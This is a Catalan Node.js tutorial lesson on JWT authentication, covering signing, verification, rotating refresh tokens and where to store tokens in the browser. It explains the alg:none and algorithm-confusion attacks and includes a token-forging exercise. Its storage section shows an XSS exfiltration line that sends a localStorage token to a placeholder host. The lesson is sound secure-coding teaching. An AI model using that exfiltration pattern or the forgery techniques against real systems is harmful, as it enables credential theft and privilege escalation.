Les sessions de la lliçó anterior funcionen i són una gran opció. Però també van deixar dues factures damunt la taula: exigeixen estat compartit (Redis tan bon punt hi hagi més d'un procés) i encaixen malament fora del navegador, just on Escena Viva vol arribar amb una aplicació de validació d'entrades a la porta de l'Auditorio Ribera.
Els JSON Web Tokens inverteixen el plantejament: en comptes de desar l'estat al servidor i donar al client un punter opac, se li lliura informació signada i el servidor es limita a verificar la signatura. Sona ideal, i per això es fan servir tan malament. Veurem què hi ha realment dins d'un JWT, per què signar no és xifrar, quins atacs concrets cal blocar, i com es resol el problema que ningú no pot ignorar: un JWT no es pot revocar.
Contingut
- Anatomia d'un JSON Web Token
- Descodificar-lo a mà al REPL
- HS256 davant de RS256
- Reclamacions estàndard i pròpies
jsonwebtoken: signar i verificar- Els atacs
alg: nonei de confusió d'algorismes - El secret a la configuració
- El problema real: no es poden revocar
- El patró d'Escena Viva: accés curt + refresc rotatori
- Implementació:
src/serveis/tokens.js - Rutes d'entrada, refresc i sortida
- El middleware
autenticar - On NO desar el token al navegador
- Errors clàssics, exercicis i conclusió
- Anatomia d'un JSON Web Token
Un JWT són tres parts separades per punts: eyJhbGciOiJIUzI1NiJ9 (capçalera) . eyJzdWIiOiI2NGYwMDEiLCJyb2wiOiJhc3Npc3RlbnQifQ (càrrega útil) . 3xR9_kQ2f8m1TnV0pLcYhZaBqWjE7sN4dGuI6oKmXyc (signatura).
La capçalera diu quin algorisme signa el token; la càrrega útil conté les reclamacions (claims), les dades que afirmem; la signatura demostra que les dues parts anteriors no s'han modificat. Les dues primeres estan codificades en base64url, la variant que vam veure al mòdul 3 amb els Buffers: fa servir - i _ en lloc de + i /, i elimina el farciment = perquè el token viatgi net dins d'URLs i capçaleres. I aquí hi ha el punt que cal gravar a foc:
base64urlno és xifratge, és codificació. Qualsevol que tingui el token en pot llegir el contingut. Signar no és xifrar.
Signar garanteix integritat i autenticitat (ningú no l'ha modificat, l'ha emès qui diu), no confidencialitat.
- Descodificar-lo a mà al REPL
Demostrem-ho sense biblioteques, amb el que sabem del mòdul 3:
// node
const [capcalera, carregaUtil, signatura] = token.split('.');
// Buffer.from amb 'base64url': admes de manera nativa (modul 3).
JSON.parse(Buffer.from(capcalera, 'base64url').toString('utf8'));
// { alg: 'HS256', typ: 'JWT' }
JSON.parse(Buffer.from(carregaUtil, 'base64url').toString('utf8'));
// { sub: '64f001', rol: 'assistent', iat: 1755120000, exp: 1755120900 }
signatura.length; // 43 caracters: 32 bytes d'HMAC-SHA256 en base64urlSense secret, sense biblioteca, sense permís: acabem de llegir el contingut sencer. Conseqüències pràctiques: mai no posis en un JWT la contrasenya, el hash, un número de targeta ni una nota interna; assumeix que l'usuari veurà el seu rol, el seu sub i el seu exp (no passa res, són seus); i si de debò necessites confidencialitat existeix JWE, encara que gairebé sempre és més simple no posar-hi secrets a dins. El que no pot fer ningú sense el secret és canviar "rol":"assistent" per "rol":"administrador" i produir una signatura vàlida: verify ho rebutja.
- HS256 davant de RS256
| HS256 (HMAC-SHA256) | RS256 (RSA + SHA256) | |
|---|---|---|
| Tipus | Simètric: un secret compartit | Asimètric: la clau privada signa, la pública verifica |
| Qui pot signar | Tothom qui pugui verificar | Només qui té la privada |
| Mida de signatura / velocitat | 32 bytes, molt ràpida | 256 bytes, signatura lenta |
| Quan fer-lo servir | Un sol servei emet i verifica | Diversos serveis verifiquen, un emet |
Regla de decisió: si el mateix sistema emet i verifica, HS256 és perfecte i més simple. Si necessites que serveis de tercers verifiquin sense poder emetre —microserveis, un proveïdor d'identitat extern—, necessites RS256 (o ES256, amb corbes el·líptiques, més compacte): reparteixes la clau pública sense por perquè no permet falsificar. Escena Viva és avui un únic servei Node, així que HS256, aïllat en un mòdul perquè migrar el dia que hi hagi microserveis sigui canviar un fitxer.
- Reclamacions estàndard i pròpies
| Reclamació | Significat | Ús a Escena Viva |
|---|---|---|
sub (subject) |
A qui identifica el token | Id de l'usuari |
iat / exp |
Quan es va emetre i quan caduca (època en segons) | Auditoria; 15 minuts d'accés |
nbf (not before) |
No vàlid abans d'aquesta data | No el fem servir |
iss / aud |
Qui l'ha emès i per a qui és | escena-viva-api / escena-viva-clients |
jti (JWT ID) |
Identificador únic del token | Al refresc, per revocar-lo |
Les nostres: rol (assistent, organitzador, administrador) i, per als organitzadors, sala. Dues regles sobre el contingut: res sensible, perquè és llegible per qualsevol; i res voluminós, perquè el token viatja en una capçalera a cada petició i pot xocar amb els límits habituals de 8 KB de proxies i servidors. I un advertiment que reprendrem a 08-05: rol dins del token és una fotografia del moment de l'emissió; si un administrador degrada un organitzador, el seu token continuarà dient organitzador fins que caduqui. Per això el token d'accés és curt.
jsonwebtoken: signar i verificar
jsonwebtoken: signar i verificar// npm install jsonwebtoken
const jwt = require('jsonwebtoken');
const token = jwt.sign({ rol: 'assistent' }, configuracio.jwtSecretAcces,
{ subject: '64f001', expiresIn: '15m', issuer: 'escena-viva-api',
audience: 'escena-viva-clients', algorithm: 'HS256' });
const carrega = jwt.verify(token, configuracio.jwtSecretAcces, {
algorithms: ['HS256'], // LA LINIA MES IMPORTANT: llista blanca d'algorismes
issuer: 'escena-viva-api', audience: 'escena-viva-clients',
clockTolerance: 5, // marge per desfasament de rellotges entre maquines
});verify comprova, en aquest ordre: que la signatura és vàlida, que exp no ha passat, que nbf ja ha arribat, i que iss i aud coincideixen. Si alguna cosa falla llança una excepció; mai no retorna un token invàlid. Els errors que cal distingir: TokenExpiredError (signatura vàlida, exp passat → el client ha de refrescar), JsonWebTokenError (signatura incorrecta, format trencat, iss/aud diferents) i NotBeforeError (nbf en el futur).
- Els atacs
alg: none i de confusió d'algorismes
alg: none i de confusió d'algorismesAquesta secció explica per què la llista algorithms no és opcional.
Atac alg: none. L'especificació preveu un algorisme none, pensat per a tokens ja protegits per un altre mitjà. L'atac és descarat: l'atacant envia la capçalera {"alg":"none","typ":"JWT"}, la càrrega {"sub":"64f001","rol":"administrador","exp":9999999999} i la signatura buida. Si la biblioteca fa cas de la capçalera per decidir com verificar, conclou que no hi ha res a verificar i accepta el token: l'atacant s'ha nomenat administrador escrivint JSON. Confusió d'algorismes (RS256 → HS256). Més subtil i més elegant. Suposa que el servidor fa servir RS256 i publica la seva clau pública, com ha de fer. L'atacant canvia la capçalera a "alg":"HS256", signa el token amb HMAC fent servir la clau pública com a secret, i el servidor llegeix alg: HS256, agafa «la seva clau» —la pública, l'única que té— i la fa servir com a secret HMAC. La signatura quadra.
La fallada de fons és la mateixa en tots dos casos: deixar que l'atacant triï l'algorisme de verificació. La defensa és una línia:
// MAI: jwt.verify(token, secret) <- accepta el que digui la capcalera
jwt.verify(token, secret, { algorithms: ['HS256'] }); // SEMPRELes versions modernes de jsonwebtoken ja mitiguen bona part d'això, però fixar algorithms explícitament continua sent obligatori: és la defensa que no depèn de la versió que acabi instal·lada. Regla general: la política de verificació la decideix qui verifica, mai el missatge que arriba.
- El secret a la configuració
// src/config/index.js (fragment afegit al modul 8)
const jwtSecretAcces = process.env.JWT_SECRET_ACCES;
const jwtSecretRefresc = process.env.JWT_SECRET_REFRESC;
// Validacio en arrencar: fallar rapid i sorollosament.
if (entorn === 'produccio') {
for (const [nom, valor] of Object.entries({ jwtSecretAcces, jwtSecretRefresc })) {
if (!valor || valor.length < 32) { throw new Error(`${nom} ha de tenir 32+ caracters`); }
}
// Secrets diferents: un refresc no ha de colar mai com a token d'acces.
if (jwtSecretAcces === jwtSecretRefresc) { throw new Error('Han de ser diferents'); }
}Generar un secret en condicions: node -e "console.log(require('node:crypto').randomBytes(48).toString('base64url'))". 48 bytes aleatoris (384 bits) és de sobres per a HS256; una frase memoritzable no val, perquè l'atac contra un secret HMAC feble és un atac de diccionari fora de línia sobre qualsevol token capturat. Un secret per propòsit, mai compartit, i mai al repositori (el .env és al .gitignore des del mòdul 5). Per rotar es manté una llista [nou, anterior]: se signa amb el primer i es verifica contra tots fins que caduquen els antics. La gestió de secrets en producció es tanca al mòdul 11.
- El problema real: no es poden revocar
Un JWT és vàlid fins que caduca, i el servidor no té manera d'opinar-hi. És conseqüència directa de la seva virtut: si no hi ha estat, no hi ha res per esborrar.
| Situació | Amb sessió | Amb JWT pur |
|---|---|---|
| La Lucía prem «tancar la sessió» | Es destrueix la sessió: fora a l'instant | El token continua funcionant; només s'ha esborrat del client |
| Es degrada un organitzador | Rol nou a la petició següent | Continua sent organitzador fins que caduqui |
| Compte compromès o contrasenya canviada | S'esborren les seves sessions | No hi ha manera d'expulsar-lo: els tokens continuen vius |
Les respostes habituals i el seu veredicte honest: una llista negra de tokens revocats funciona, però reintrodueix l'estat que justificava fer servir JWT; tokens molt curts redueixen la finestra sense eliminar-la, i obliguen a reautenticar-se sovint; comprovar a cada petició si l'usuari continua actiu és una consulta per petició… que és exactament el que fa una sessió. La resposta madura de la indústria combina les dues primeres, i és la que adoptem.
- El patró d'Escena Viva: accés curt + refresc rotatori
| Token d'accés | Token de refresc | |
|---|---|---|
| Durada | 15 minuts | 30 dies |
| On viu al client | En memòria de JavaScript | Galeta HttpOnly+Secure+SameSite=Strict |
| Com viatja | Authorization: Bearer |
Automàticament, només a /auth/refrescar |
| Estat al servidor / revocable | Cap; no revocable (caduca en 15 min) | El seu hash a la base; revocable a l'instant |
La idea: el token que es fa servir constantment no és revocable però amb prou feines dura; el token que dura és revocable i gairebé no es fa servir. El dany d'un token d'accés robat es limita a 15 minuts; el de refresc es pot matar a la base. Hi afegim dos refinaments imprescindibles: rotació (cada ús del refresc l'invalida i n'emet un de nou, així un refresc capturat només serveix un cop) i detecció de reutilització (els refrescos d'un mateix inici de sessió formen una família; si n'arriba un ja consumit, o bé l'atacant ha fet servir el robat i el legítim arriba després, o a l'inrevés, i en tots dos casos es revoca la família sencera).
sequenceDiagram
participant C as Client
participant A as API
participant D as MongoDB
C->>A: POST /auth/entrada
A->>D: Desar hash(R1), familia F, usat=false
A-->>C: {tokenAcces (15 min)} + Set-Cookie refresc=R1
Note over C,A: 15 minuts despres, l'acces caduca
C->>A: GET /api/comandes (Bearer caducat)
A-->>C: 401 TOKEN_CADUCAT
C->>A: POST /auth/refrescar (Cookie: refresc=R1)
A->>D: hash(R1) valid i sense usar
A->>D: Marcar R1 usat; desar hash(R2) a la familia F
A-->>C: {tokenAcces nou} + Set-Cookie refresc=R2
Note over C,A: Un atacant reutilitza el R1 robat
C->>A: POST /auth/refrescar (Cookie: refresc=R1)
A->>D: hash(R1) existeix pero usat=true -> REUTILITZACIO
A->>D: Revocar TOTA la familia F
A-->>C: 401: cal iniciar sessio de nou
- Implementació:
src/serveis/tokens.js
src/serveis/tokens.jsEl model TokenRefresc desa usuariId, el hash SHA-256 del token (mai el token: si es filtra la base, els refrescos emmagatzemats són inservibles), un familiaId comú a tota la cadena d'un inici de sessió, els indicadors usat i revocat, l'agentUsuari per a la pantalla de «els meus dispositius», i expiraEl amb índex TTL.
// src/serveis/tokens.js
'use strict';
const jwt = require('jsonwebtoken');
const { randomBytes, randomUUID, createHash } = require('node:crypto');
const { configuracio } = require('../config/index.js');
const { TokenRefresc } = require('../models/token-refresc.js');
const { ErrorDAutenticacio } = require('../errors.js');
const EMISSOR = 'escena-viva-api';
const AUDIENCIA = 'escena-viva-clients';
const VIDA_ACCES = '15m';
const VIDA_REFRESC_MS = 30 * 24 * 60 * 60 * 1000;
const generarHashToken = (token) => createHash('sha256').update(token).digest('hex');
function signarAcces(usuari) {
return jwt.sign({ rol: usuari.rol, sala: usuari.salaAssignada || undefined },
configuracio.jwtSecretAcces, { subject: String(usuari.id), expiresIn: VIDA_ACCES,
issuer: EMISSOR, audience: AUDIENCIA, algorithm: 'HS256' });
}
function verificarAcces(token) {
try {
const carrega = jwt.verify(token, configuracio.jwtSecretAcces, {
algorithms: ['HS256'], // llista blanca: bloqueja alg:none i confusio
issuer: EMISSOR, audience: AUDIENCIA, clockTolerance: 5,
});
return { id: carrega.sub, rol: carrega.rol, sala: carrega.sala || null };
} catch (error) {
// Distingim caducat d'invalid: el client ha de saber si li toca
// refrescar o tornar a iniciar sessio.
if (error.name === 'TokenExpiredError') {
throw new ErrorDAutenticacio("El token d'acces ha caducat", { motiu: 'TOKEN_CADUCAT' });
}
throw new ErrorDAutenticacio("Token d'acces invalid", { motiu: 'TOKEN_INVALID' });
}
}
async function emetreRefresc(usuariId, opcions = {}) {
const familiaId = opcions.familiaId || randomUUID();
// Token opac de 256 bits: no cal que sigui un JWT perque sempre es
// consulta a la base. Menys superficie, menys coses per verificar.
const token = randomBytes(32).toString('base64url');
await TokenRefresc.create({ usuariId, familiaId, hashToken: generarHashToken(token),
agentUsuari: opcions.agentUsuari || null,
expiraEl: new Date(Date.now() + VIDA_REFRESC_MS) });
return { token, familiaId };
}
async function revocarFamilia(familiaId) {
await TokenRefresc.updateMany({ familiaId }, { $set: { revocat: true } });
}
async function rotarRefresc(token, opcions = {}) {
const registre = await TokenRefresc.findOne({ hashToken: generarHashToken(token) });
if (!registre || registre.revocat || registre.expiraEl.getTime() < Date.now()) {
throw new ErrorDAutenticacio('Sessio no valida', { motiu: 'REFRESC_INVALID' });
}
if (registre.usat) {
// REUTILITZACIO: o l'han robat i el fan servir ara, o l'han fet servir
// ells i arriba el legitim. No es pot saber quin, aixi que cau la familia.
await revocarFamilia(registre.familiaId);
throw new ErrorDAutenticacio('Sessio revocada per seguretat', { motiu: 'REFRESC_REUTILITZAT' });
}
registre.usat = true;
await registre.save();
// El nou hereta la familia: la cadena continua sent rastrejable.
const nou = await emetreRefresc(registre.usuariId, {
familiaId: registre.familiaId, agentUsuari: opcions.agentUsuari });
return { usuariId: String(registre.usuariId), ...nou };
}
module.exports = { signarAcces, verificarAcces, emetreRefresc, rotarRefresc,
revocarFamilia, generarHashToken, VIDA_REFRESC_MS };Nota de disseny important: el token de refresc no és un JWT. Com que es consulta a la base a cada ús, ser autocontingut no aporta res; un valor aleatori opac és més curt, més simple i no arrossega cap dels atacs de la secció 6.
- Rutes d'entrada, refresc i sortida
// src/controladors/autenticacio.js (fragment JWT)
const NOM_GALETA = 'ev.refresc';
const opcionsGaleta = () => ({
httpOnly: true, // l'XSS no la llegeix
secure: configuracio.entorn === 'produccio', // nomes HTTPS
sameSite: 'strict', // anti CSRF a /refrescar
path: '/auth/refrescar', // no viatja a la resta de l'API
maxAge: VIDA_REFRESC_MS,
});
async function iniciarSessioJwt(req, res, next) {
try {
const usuari = req.usuariAutenticat; // el va deixar la verificacio de 08-02
const { token } = await emetreRefresc(usuari.id, { agentUsuari: req.get('user-agent') });
res.cookie(NOM_GALETA, token, opcionsGaleta());
// El d'acces va al COS: el client el desa en memoria, no a
// localStorage (seccio 13).
res.json({ tokenAcces: signarAcces(usuari), expiraEnSegons: 900,
usuari: { id: usuari.id, nom: usuari.nom, rol: usuari.rol } });
} catch (error) { next(error); }
}
async function refrescar(req, res, next) {
try {
const tokenAntic = req.cookies[NOM_GALETA];
if (!tokenAntic) {
throw new ErrorDAutenticacio('No hi ha cap sessio per refrescar', { motiu: 'SENSE_REFRESC' });
}
const { usuariId, token } = await rotarRefresc(tokenAntic, { agentUsuari: req.get('user-agent') });
// Es rellegeix l'usuari: aixi el rol del token nou esta ACTUALITZAT, que
// es el que acota el problema dels rols congelats.
const usuari = await Usuari.findById(usuariId).lean();
if (!usuari) { throw new ErrorDAutenticacio('Sessio no valida'); }
res.cookie(NOM_GALETA, token, opcionsGaleta());
res.json({ expiraEnSegons: 900, tokenAcces: signarAcces(
{ id: usuariId, rol: usuari.rol, salaAssignada: usuari.salaAssignada }) });
} catch (error) { next(error); }
}
async function tancarSessioJwt(req, res, next) {
try {
const token = req.cookies[NOM_GALETA];
if (token) {
const registre = await TokenRefresc.findOne({ hashToken: generarHashToken(token) });
// Es revoca la FAMILIA: cau tota la cadena d'aquell inici de sessio.
if (registre) { await revocarFamilia(registre.familiaId); }
}
res.clearCookie(NOM_GALETA, { ...opcionsGaleta(), maxAge: undefined });
res.status(204).end();
} catch (error) { next(error); }
}Sigues honest sobre el que aquesta sortida aconsegueix i el que no: revoca el refresc a l'instant, però el token d'accés que el client ja té continua sent vàlid fins a 15 minuts. Per a operacions crítiques (anul·lar entrades, canviar rols) cal comprovar l'estat de l'usuari a la base, no només la signatura.
POST /auth/refrescar HTTP/1.1
Host: api.escenaviva.test
Cookie: ev.refresc=Qm5x...
HTTP/1.1 200 OK
Set-Cookie: ev.refresc=Zt7p...; HttpOnly; Secure; SameSite=Strict; Path=/auth/refrescar; Max-Age=2592000
{ "tokenAcces": "eyJhbGciOiJIUzI1NiIs...", "expiraEnSegons": 900 }
- El middleware
autenticar
autenticar// src/middleware/autenticar.js
'use strict';
const { verificarAcces } = require('../serveis/tokens.js');
const { ErrorDAutenticacio } = require('../errors.js');
function extreureToken(req) {
const capcalera = req.get('authorization');
if (!capcalera) { return null; }
const [esquema, valor] = capcalera.split(' ');
// L'esquema es compara sense distingir majuscules (RFC 7235).
if (!valor || esquema.toLowerCase() !== 'bearer') { return null; }
return valor.trim();
}
function autenticar(req, res, next) {
try {
const token = extreureToken(req);
if (!token) {
throw new ErrorDAutenticacio("Falta el token d'acces", { motiu: 'SENSE_TOKEN' });
}
req.usuari = verificarAcces(token); // llanca i distingeix caducat d'invalid
next();
} catch (error) { next(error); }
}
// Per a rutes publiques que s'enriqueixen si hi ha sessio (per exemple, marcar
// els esdeveniments que l'usuari ja ha comprat).
function autenticarOpcional(req, res, next) {
const token = extreureToken(req);
if (!token) { return next(); }
try {
req.usuari = verificarAcces(token);
} catch {
// Token dolent en ruta publica: s'ignora, no es trenca la navegacio.
}
next();
}
module.exports = { autenticar, autenticarOpcional };Els casos de 401, distingits per motiu perquè el client sàpiga què fer:
motiu |
Situació | Què ha de fer el client |
|---|---|---|
SENSE_TOKEN |
No hi ha capçalera Authorization |
Anar a l'entrada |
TOKEN_CADUCAT |
Signatura bona, exp passat |
Cridar /auth/refrescar i reintentar |
TOKEN_INVALID |
Signatura dolenta, iss/aud diferents, format trencat |
Anar a l'entrada; possible manipulació |
REFRESC_REUTILITZAT |
Reutilització detectada | Entrada obligatòria; avisar l'usuari |
Fixa't que req.usuari té la mateixa forma que deixava exigirSessio a 08-03. Per això els controladors i l'autorització de 08-05 funcionen igual amb sessió o amb JWT.
- On NO desar el token al navegador
| Lloc | Accessible per JS | Veredicte |
|---|---|---|
localStorage / sessionStorage |
Sí | No per a credencials de llarga vida |
| Variable en memòria | Només el codi mateix | Recomanat per al token d'accés |
Galeta HttpOnly |
No | Recomanat per al refresc |
localStorage és visible per a tot el JavaScript de la pàgina, inclòs el que injecti un XSS i el de qualsevol dependència de tercers. Un script maliciós fa fetch('https://recollidor.test/r?t=' + localStorage.getItem('token')) i s'ha acabat. Amb la galeta HttpOnly no pot: document.cookie no la veu. L'atacant amb XSS encara pot fer peticions des de la pàgina de la víctima —l'XSS és greu sempre—, però no pot exfiltrar la credencial per fer-la servir després des d'un altre lloc i durant 30 dies. Aquesta diferència entre «dany mentre la pestanya és oberta» i «compte compromès indefinidament» és exactament el que comprem. I per això el token d'accés va en memòria: si es perd en recarregar, una crida a /auth/refrescar (amb la galeta automàtica) en retorna un de nou. És el patró «refresc silenciós en arrencar».
Errors Comuns i Consells
jwt.decode()en lloc dejwt.verify().decodeno comprova la signatura: només llegeix. Fer-lo servir per autenticar equival a no tenir autenticació. Igual de greu: ometrealgorithmsaverify, o posar dades sensibles a la càrrega útil creient que va xifrada.- Tokens d'accés llarguíssims («7 dies, així no molesto l'usuari»): un token robat serveix una setmana.
- Desar el refresc a
localStoragei perdre tot l'avantatge d'HttpOnly; o no rotar-lo, amb què un refresc robat dóna accés permanent. - Confiar en el
roldel token per a una acció crítica sense rellegir la base (08-05), o fer servir el mateix secret per a accés i refresc, amb què un refresc podria colar com a token d'accés. - No gestionar el 401 al client: sense lògica de refresc i reintent, l'usuari veu fallades aleatòries cada 15 minuts.
- Posar el token a l'URL (
?token=...): queda en logs de proxies, a l'historial i a la capçaleraReferer.
Exercicis
Exercici 1: inspeccionar i falsificar
Al REPL de Node: (a) descodifica la càrrega útil del token de la secció 2; (b) construeix un token manipulat canviant "rol":"assistent" per "rol":"administrador", reutilitzant la signatura original; (c) verifica'l amb jwt.verify i explica què passa i per què.
Exercici 2: client amb refresc automàtic
Escriu peticioAutenticada(url, opcions) per al front-end: fa servir el token d'accés desat en memòria; si rep un 401 amb motiu: 'TOKEN_CADUCAT', crida /auth/refrescar, desa el token nou i reintenta una sola vegada; davant de qualsevol altre 401, envia l'usuari a l'entrada.
Exercici 3: sessió d'un sol dispositiu
Escena Viva vol que un assistent només pugui tenir una sessió activa: en iniciar sessió en un dispositiu nou, l'anterior ha de caure. Descriu els canvis a emetreRefresc i explica quin límit té aquesta mesura amb el token d'accés.
Solucions
Exercici 1
const [cap, carrega, signatura] = token.split('.');
const dades = JSON.parse(Buffer.from(carrega, 'base64url').toString('utf8'));
dades.rol = 'administrador';
const tokenFals = `${cap}.${Buffer.from(JSON.stringify(dades)).toString('base64url')}.${signatura}`;
try { jwt.verify(tokenFals, secret, { algorithms: ['HS256'] }); }
catch (error) { console.log(error.name); } // JsonWebTokenError: invalid signatureLa signatura es calcula sobre capcalera.carregaUtil; en canviar un sol byte de la càrrega, l'HMAC recalculat ja no coincideix amb la signatura adjunta. Llegir el token és trivial; modificar-lo és impossible sense el secret. Això és exactament el que significa «signar no és xifrar»: no hi ha confidencialitat, sí que hi ha integritat.
Exercici 2
let tokenAcces = null; // en memoria, mai a localStorage
async function peticioAutenticada(url, opcions = {}, reintentat = false) {
const resposta = await fetch(url, { ...opcions,
headers: { ...opcions.headers, Authorization: `Bearer ${tokenAcces}` },
credentials: 'include' }); // necessari perque viatgi la galeta de refresc
if (resposta.status !== 401) { return resposta; }
const cos = await resposta.clone().json().catch(() => ({}));
// Nomes es refresca si el motiu es la caducitat, i nomes un cop: sense
// aquest limit, un refresc que falli produeix un bucle infinit.
if (cos?.error?.detalls?.motiu === 'TOKEN_CADUCAT' && !reintentat) {
const refresc = await fetch('/auth/refrescar', { method: 'POST', credentials: 'include' });
if (refresc.ok) {
({ tokenAcces } = await refresc.json());
return peticioAutenticada(url, opcions, true);
}
}
tokenAcces = null;
window.location.href = '/entrada';
return resposta;
}En producció convé, a més, encuar les peticions concurrents mentre es refresca, per no llançar cinc refrescos alhora i disparar la detecció de reutilització contra un mateix.
Exercici 3. A emetreRefresc, abans de crear el registre nou, es revoquen tots els de l'usuari: if (opcions.dispositiuUnic) { await TokenRefresc.updateMany({ usuariId, revocat: false }, { $set: { revocat: true } }); }.
El límit: el token d'accés del dispositiu anterior continua sent vàlid fins a 15 minuts, perquè no es pot revocar; l'altre dispositiu conserva l'accés durant aquest marge i només cau en intentar refrescar. Si el requisit és un tall instantani, cal afegir una comprovació a la base per petició —i en aquell moment ja estàs pagant el cost d'una sessió, que és justament la decisió de disseny analitzada a 08-03.
Conclusió
Ja sabem què és de debò un JWT: tres parts en base64url —capçalera, càrrega útil i signatura— amb el contingut llegible per qualsevol, perquè signar garanteix integritat i autenticitat, no confidencialitat. Sabem quan HS256 i quan RS256, quines reclamacions estàndard existeixen i per què el token ha d'anar lleuger i sense secrets. Hem blindat verify amb algorithms explícits, entenent els atacs alg: none i de confusió d'algorismes que aquesta línia neutralitza. I hem afrontat el problema de fons —els JWT no es revoquen— amb la solució madura: token d'accés de 15 minuts en memòria del client, token de refresc de 30 dies en galeta HttpOnly+Secure+SameSite=Strict, desat amb el hash fet, rotat a cada ús i amb detecció de reutilització que tomba la família sencera.
Escena Viva ja sap qui fa cada petició: req.usuari està verificat, amb el seu id i el seu rol, tant per sessió com per token. Falta l'altra meitat de la lliçó 08-01: què pot fer cadascú. Un assistent no ha de llegir les comandes d'un altre; l'organitzador de la Sala Bóveda no ha de publicar esdeveniments del Teatro Almendra; només un administrador canvia rols. A la lliçó següent, Control d'Accés Basat en Rols, construïm la matriu de permisos completa, el middleware exigirRol amb el seu 403 ben diferenciat del 401, i la peça que RBAC no cobreix i que provoca la vulnerabilitat més comuna de les APIs: la propietat del recurs.
Curs de Node.js: De Principiant a Avançat
Mòdul 1: Introducció a Node.js
- Què és Node.js?
- Instal·lació i Configuració de l'Entorn
- El Teu Primer Programa en Node.js
- El REPL de Node.js
- JavaScript Modern per a Node.js
- El Projecte del Curs: la Plataforma Escena Viva
Mòdul 2: Conceptes Bàsics
- Arquitectura de Node.js
- El Bucle d'Esdeveniments (Event Loop)
- Callbacks i Programació Asíncrona
- Promeses i async/await
- Esdeveniments i EventEmitter
- Mòduls CommonJS i require()
- Mòduls ES i Interoperabilitat
Mòdul 3: Sistema de Fitxers i E/S
- Lectura i Escriptura de Fitxers
- El Mòdul fs a Fons
- Rutes Multiplataforma amb el Mòdul path
- Treballant amb Streams
- Streams de Transformació i pipeline
- Buffers i Dades Binàries
Mòdul 4: HTTP i Servidors Web
- Creant un Servidor HTTP Simple
- Gestió de Sol·licituds i Respostes
- Enrutament Manual
- Servint Fitxers Estàtics
- Rebent Dades: Cossos de Petició i JSON
- Consumint APIs Externes des de Node.js
Mòdul 5: NPM i Gestió de Paquets
- Introducció a NPM i package.json
- Instal·lació i Ús de Paquets
- Versionat Semàntic i package-lock
- Scripts d'npm i Automatització del Projecte
- Creació i Publicació de Paquets
- Seguretat i Manteniment de Dependències
Mòdul 6: Framework Express.js
- Introducció a Express.js
- Configuració d'una Aplicació Express
- Enrutament a Express
- Middleware
- Middleware de Tercers Essencials
- Validació de Dades d'Entrada
- Gestió d'Errors
Mòdul 7: Bases de Dades i ORMs
- Introducció a les Bases de Dades
- Usant MongoDB amb Mongoose
- Operacions CRUD
- Relacions, Poblat i Consultes Avançades
- Usant Bases de Dades SQL amb Sequelize
- Migracions, Transaccions i Dades de Prova
Mòdul 8: Autenticació i Autorització
- Introducció a l'Autenticació
- Registre d'Usuaris i Hash de Contrasenyes
- Sessions i Galetes amb Passport.js
- Autenticació amb JWT
- Control d'Accés Basat en Rols
- Bones Pràctiques de Seguretat en APIs
Mòdul 9: Proves i Depuració
- Introducció a les Proves
- Proves Unitàries amb Mocha i Chai
- Dobles de Prova amb Sinon
- Proves d'Integració
- Cobertura i Automatització de les Proves
- Depuració d'Aplicacions Node.js
Mòdul 10: Temes Avançats
- El Mòdul Cluster
- Fils de Treball (Worker Threads)
- Memòria Cau i Cues de Treball amb Redis
- Optimització del Rendiment
- Construcció d'APIs RESTful
- GraphQL amb Node.js
Mòdul 11: Desplegament i DevOps
- Configuració i Variables d'Entorn
- Registre i Monitoratge en Producció
- Usant PM2 per a la Gestió de Processos
- Empaquetatge amb Docker
- Desplegant a Heroku i Altres PaaS
- Integració i Desplegament Continus
